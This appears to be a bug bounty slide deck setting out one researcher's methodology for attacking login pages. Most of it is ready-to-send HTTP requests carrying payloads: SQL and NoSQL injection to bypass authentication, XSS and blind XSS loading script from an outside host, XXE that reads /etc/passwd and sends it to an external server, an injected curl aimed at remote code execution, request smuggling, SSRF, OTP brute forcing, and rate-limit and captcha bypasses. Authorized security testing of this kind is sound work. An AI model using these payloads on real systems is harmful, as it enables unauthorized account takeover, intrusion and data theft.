



# Log In

Email Address OR Mobile Number

Password

**Mahmoud M. Awali**

 **@0xAwali**



**attacker**

My Methodology

Try To Insert '...' OR "..." In Email OR Password To Bypass Authentication



**Tweet**

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
user=...'&password=*****&captcha=Random
```



attacker

My Methodology

Try To Insert ' , ' ' OR ' ' ' AND If There Is Int Value , Try To Insert ' , ' **Value**'  
OR ' **Value**' ' In Email OR Password



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate

user=me'&password=*****&captcha=Random
```



attacker

My Methodology

Try To Insert **SQLi Payloads** e.g **"';WAITFOR DELAY '0.0.20'-- OR '/\*\*/or/\*\*/abc!='"**  
**In Username OR Password Parameters To Get SQLi**

-  Writeup
-  Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email="';WAITFOR DELAY '0.0.20'--&password="';WAITFOR
DELAY '0.0.20'--&captcha=Random
```



**attacker**

My Methodology

Try To Insert [%24ne] In Email OR Password Parameter To Bypass Log In



**Slides**



**Research**

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com&pass[%24ne]=&captcha=Random
```



attacker

My Methodology

Try To Insert **&gt** In Password Parameter AND change Content Type Header To **application/json** To Bypass Log In



Slides



Research

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

{'user':'me','pass': {'&gt;': ' '},'captcha':'Random'}
```



**attacker**

My Methodology

Try To add **nameOfparameter[ ] In Email OR Password Parameter** To OverWrite Value Of The Parameter



**Slides**



**Research**

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email[ ]=me@gmail.com&email[ ]=victim@gmail.com&
pass=*****&captcha=Random
```



**attacker**

My Methodology

Try To Insert **`_all_docs`** OR **`user[ ]=_all_docs`** In User Parameter With Undefined Password To Bypass Log In



Slides



Research

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
user=_all_docs&captcha=Random
```





attacker

My Methodology

If The Body Of Request Is Json , Try To Log In By **Using Multiple Usernames At The Same Time** To Cause Error

-  Slides

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
{"email":["userONE","userTWO"],"password":"*****",
"captcha":"Random"}
```



attacker

My Methodology

Try To Bypass **Log In By Inserting e.g. \ OR ||1#** As Email AND Password



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=\&password=||1#&captcha=Random
```



attacker

My Methodology

Try To Insert **XSS Payloads** e.g.

**%20onfocus%3djavascript:alert(%27xss%27)%20autofocus%20a=a** In Email Parameter



1

Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
email=%20onfocus%3djavascript:alert(%27xss%27)%20a
utofocus%20a=a&password=*****&captcha=Random
```



attacker

My Methodology

Try To Insert Large String 50.000+ Characters OR Numbers in Username OR In Password Parameters To Cause Errors Exposing Sensitive Information

•  Slides

•  Tweet

#### PXMME1337'S BUG BOUNTY TIP

**Go big or go home.**

“Large values in POST params may cause verbose (SQL) errors leaking sensitive data, code and even creds!”

String:

Number:



attacker

My Methodology

Try To Change The Request To XML Body With XXE Payloads e.g. `<!ENTITY % b PUBLIC "lol" "file:///etc/passwd">` AND **XXE.html Contains** `<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://me.com/%b;%3E%22%3E%c`



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number
```

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ENTITY % b PUBLIC "lol" "file:///etc/passwd">
<!ENTITY % asd PUBLIC "lol" "http://me.com/XXE.html%22%3E
%asd;
%rrr;]>
<login><user>me</user><pass>*****</pass></login>
```



attacker

My Methodology

**Try To Use** HTTP Request Smuggling Transfer-Encoding: foo To Frontend That Looks at The Content-Length AND Transfer-Encoding: chunked To Backend That Stops Reading After The 0/r/n/r/n and everything after That Point is Interpreted **as a Second Request**

-  Writeup
-  Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Length: Number
Transfer-Encoding: chunked
Transfer-Encoding: foo

3e
email=me@gmail.com&pass=*****&captcha=Random
0
/r/n
```



attacker

My Methodology

**Try To Use** HTTP Request Smuggling Frontend That Looks at The Content-Length AND Transfer-Encoding : chunked To Backend  
That Stops Reading After The 0/r/n/r/n and everything after That Point is Interpreted **as a Second Request**



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Type: application/json
Content-Length: Number
Transfer-Encoding : chunked

3e
{"username":"me","password":"*****","captcha":"Random"}
0
/r/n
```



attacker

My Methodology

**Try To Use** HTTP Request Smuggling Frontend That Looks at The Content-Length AND Transfer-Encoding: chunked To Backend  
That Stops Reading After The 0/r/n/r/n and everything after That Point is Interpreted **as a Second Request**



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
Content-Type: application/json
Content-Length: Number
Transfer-Encoding: chunked

3e
{"username":"me","password":"*****","captcha":"Random"}
0
/r/n
```





attacker

## My Methodology

Try To Insert **SQLi Payloads** e.g. ' AND '1' = '2 OR "';WAITFOR DELAY '0.0.20'--  
OR **Blind XSS** In User-Agent OR Non-Standard Headers e.g. X-Forwarded-Host

-  Writeup
-  Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
X-Forwarded-Host: ' AND '1' = '2
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



attacker

My Methodology

Try To Inject Blind XSS e.g. `"><script src=//me.xss.ht></script>` OR Time-Based SQLi e.g. `";WAITFOR DELAY '0.0.20'--` In X-Forwarded-For Header



Tweet

#### BUG BOUNTY TIP

“Put **bXSS** and **SQLi** payloads in **x-forwarded-for** headers. Almost nobody escapes IP’s!”

– **Linus Särud**, **@\_zulln**





attacker

My Methodology

Try To Insert **Blind XSS OR XSS Payloads** e.g. `</center><script>alert(document.domain)</script>` In True-Client-IP Header



Blog

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
True-Client-IP: </center><script>alert(document.domain)</script>
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



attacker

My Methodology

If There Is Next URL Parameter Try To Insert [http:3627732462](http://3627732462) OR  
<https://www.google.com%ff@www.company.com> To Redirect User To Google

-  Writeup
-  Writeup

```
POST /logIn?nextURL=http:3627732462 HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=me&password=*****&captcha=Random
```



attacker

My Methodology

If There Is Next URL Parameter Try To Insert **lol ';alert(document.domain)//lol** To Get DOM-based XSS



Blog

```
POST /login?nextURL=lol ';alert(document.domain)//lol HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



attacker

My Methodology

Try To Insert `!><svg/onload=alert('XSS')>` After Login Path To Get DOM-based XSS



Tweet

```
POST /logIn?!><svg/onload=alert('XSS')> HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number

email=me&password=*****&captcha=Random
```



attacker

My Methodology

\*\*\* Try To Insert **Curl As Part Of The Login** To Get RCE



Tweet

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
email=me&password=*****&'curl me.com'
```



attacker

My Methodology

If You Can Log In By Using **Your Email** OR **Mobile Number** AND **OTP Code** ,  
Try To Do Brute Force The OTP To GET ATO



Writeup

```
POST /logIn HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
phone=01*****&otp=*****
```





attacker

My Methodology

Try To Do **Brute Force By Using IP Rotate Burp Suite Extension** OR **Firefox To Bypass Rate Limits** That Based On Blocked IP

-  Video
-  Writeup
-  Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com&password=*****
```



attacker

My Methodology

Try To **Insert X-Forwarded-For Header One Time OR Two Times** To Bypass Rate Limits



Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
Origin: https://www.company.com
Content-Length: Number
```

```
email=me@gmail.com&password=*****
```



attacker

My Methodology

Try To Do **Brute Force On Password Parameter AND If There Is Too Many Requests**  
**, Insert %00 In The Username OR Email Parameter To Bypass Rate Limits**

-  Writeup
-  Writeup

```
POST /login HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
Accept-Encoding: gzip, deflate
```

```
email=me@gmail.com%00&password=*****
```



attacker

My Methodology

If You Can Log In By Using Your Email AND OTP , Enter Correct Email AND OTP Code Then Try To **Manipulate The Response To Change The Email**

-  Writeup
-  Writeup

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
  "email" : "admin@company.com",
  "code" : *****
}
```



attacker

My Methodology

Try To Send The **Additional properties In The Request** To Gain Extra Authorities OR Get More Functionalities



Tweet

#### BUG BOUNTY TIP

### Send back responses!

See object properties in the response but not in the request?  
Add them to the request! You may be able to gain control over these properties!

Request:

```
{"id": "7"}  
{"id": "7", "admin": true}
```

Response:

```
{"id": "7", "admin": false}  
{"id": "7", "admin": true}
```

 YassineAboukir





**attacker**

My Methodology

Try To **Change HTTP Request Method To GET Instead Of POST** To Bypass Captcha



Writeup

```
GET /login?  
user=me&password=****&captcha=Random HTTP/1.1  
Host: www.company.com  
User-Agent: Mozilla/5.0  
Content-Type: application/x-www-form-urlencoded  
Origin: https://www.company.com  
Content-Length: Number
```



**attacker**

My Methodology

## Try To **Remove Captcha Parameter** To Bypass Captcha



**Writeup**

```
POST /logIn? HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
user=me&password=****
```



attacker

My Methodology

Try To **Reuse The Old-Captcha** To Bypass Captcha

- **M** Writeup

```
POST /logIn? HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

user=me&password=****&captcha=Old-Random
```





attacker

My Methodology

Try To **Change JSON Body To Normal Body AND Content Type Header From application/json To application/x-www-form-urlencoded** To Bypass Captcha

- **M** Writeup

```
POST /logIn? HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number

user=me&password=****&captcha=Random
```



attacker

My Methodology

Try To Use Non-Standard Headers e.g. X-Originating-IP , X-Client-IP , X-Remote-IP AND X-Remote-Addr To Bypass Captcha

- **M** Writeup

```
POST /login? HTTP/1.1
Host: www.company.com
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Content-Length: Number
```

```
user=me&password=****&captcha=Random
```



**attacker**

My Methodology

If The Company Uses Captcha Image Contains Text Try To Use **Convert Command** AND **Tesseract Tool** To Extract The Text From The Image

- **M** Writeup

Steps to produce :-

- 1 - **Download The Image , Called e.g. img.png**
- 2 - **convert img.png -colorspace gray  
-threshold 50% imgOUT.png**
- 3 - **tesseract imgOUT.png**



**attacker**

My Methodology

Is **app.com Use HTTP** Instead Of HTTPS In log In e.g. `http://app.com/login`



**1**

Writeup

Company used `HTTP Instead Of HTTPS` In Log In  
Steps to produce :-

1 - `http://app.com/login`

2 - **Are Email AND Password In clear text**



**attacker**

My Methodology

Try To **Figure Out If The Session Will Expire** After Logging Out OR Not

- **1** Writeup
- **1** Writeup

Steps to produce :-

- 1 - **Log In Browser e.g. Chrome**
- 2 - **Copy The Session**
- 3 - **Log Out From Chrome Browser**
- 4 - **Try To Use The Copy Session In Browser e.g. Firefox**



**attacker**

My Methodology

Try To **Log Out** , And **Insert dict://me.com:80** If There Is Parameter To Redirect After Log Out e.g. `logout_path`



**Tweet**

```
GET /logout?logout_path=dict://me.com:80 HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Origin: https://www.company.com
```

# Thank You

**Mahmoud M. Awali**

 **@0xAwali**